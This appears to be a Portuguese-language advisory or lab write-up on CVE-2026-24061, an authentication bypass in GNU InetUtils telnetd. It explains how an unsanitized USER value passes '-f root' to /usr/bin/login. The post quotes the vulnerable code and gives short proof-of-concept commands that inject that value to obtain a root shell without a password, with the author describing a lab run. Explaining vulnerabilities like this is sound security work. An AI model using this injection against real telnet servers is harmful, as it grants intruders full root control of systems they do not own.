
Vulnerabilidade de bypass de autenticação no GNU-InetUtils-telnetd
CVE-2026–24061 é uma falha crítica no serviço telnetd do GNU InetUtils
ID CVE : CVE-2026–24061
Severidade : Crítica (CVSS 9.8)
Vetor de Ataque : Rede
Autenticação Necessária : Nenhuma
Impacto : Comprometimento total do sistema (acesso root)
A vulnerabilidade origina-se do tratamento inadequado da variável de ambiente USER durante a configuração da sessão Telnet. Este valor é diretamente repassado para a lista de argumentos do /usr/bin/login sem qualquer sanitização ou validação e, como resultado, um atacante remoto pode manipular essa entrada para injetar opções de linha de comando, efetivamente contornando a autenticação e obtendo um shell root instantaneamente
O trecho a seguir de telnetd/utility_file.c mostra como valores fornecidos pelo usuário eram usados diretamente sem validação:
case 'h':
return xstrdup (remote_hostname);
case 'l':
return xstrdup (local_hostname);
case 'L':
return xstrdup (line);
case 't':
q = strchr (line + 1, '/');
if (q)
q++;
else
q = line;
return xstrdup (q);
case 'T':
return terminaltype ? xstrdup (terminaltype) : NULL;
case 'u':
return user_name ? xstrdup (user_name) : NULL;
case 'U':
return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");
Problema :
Os valores controlados pelo usuário USER, terminaltype e line são usados sem validação. Copiados diretamente para estruturas internas
Como esses valores podem ser influenciados por um cliente remoto via protocolo Telnet, isso cria um ponto crítico de injeção
Fluxo do ataque :
Prova de Conceito
Uma prova de conceito mínima demonstra como explorar a vulnerabilidade:
USER='-f root' telnet -a <ipaddr>
telnet -l -'f root' ip_addr
Este comando injeta um valor USER malicioso durante o handshake Telnet, o que pode resultar em acesso root não autorizado em sistemas vulneráveis
Realizei um laboratório envolvendo CVE-2026–24061, onde explorei a vulnerabilidade usando telnet -l '-f root' 176.16.2.153 para injetar argumentos maliciosos e obter bypass de autenticação, alcançando acesso root no sistema alvo

O que acontece internamente :
1 - l : refere-se ao nome de login
2 - '-f root': valor passado como nome de usuário, (-f : verificação de senha ignorada - pular autenticação), (root: usuário alvo))
3 - O servidor vulnerável não realiza sanitização
4 - Ele interpreta -f como uma flag em vez de parte do nome de usuário
Isso me permitiu injetar argumentos maliciosos, contornar a autenticação e obter acesso root no sistema alvo
Resumo Técnico
A falha reside em como o telnetd lida com a opção Telnet NEW_ENVIRON. Ela permite que um cliente defina variáveis de ambiente que são passadas para o binário /usr/bin/login do sistema. Como o telnetd não sanitiza a variável USER, um atacante pode injetar a flag -f (forçar login), que instrui o utilitário de login a ignorar a verificação de senha e conceder imediatamente uma sessão para o usuário especificado (tipicamente root)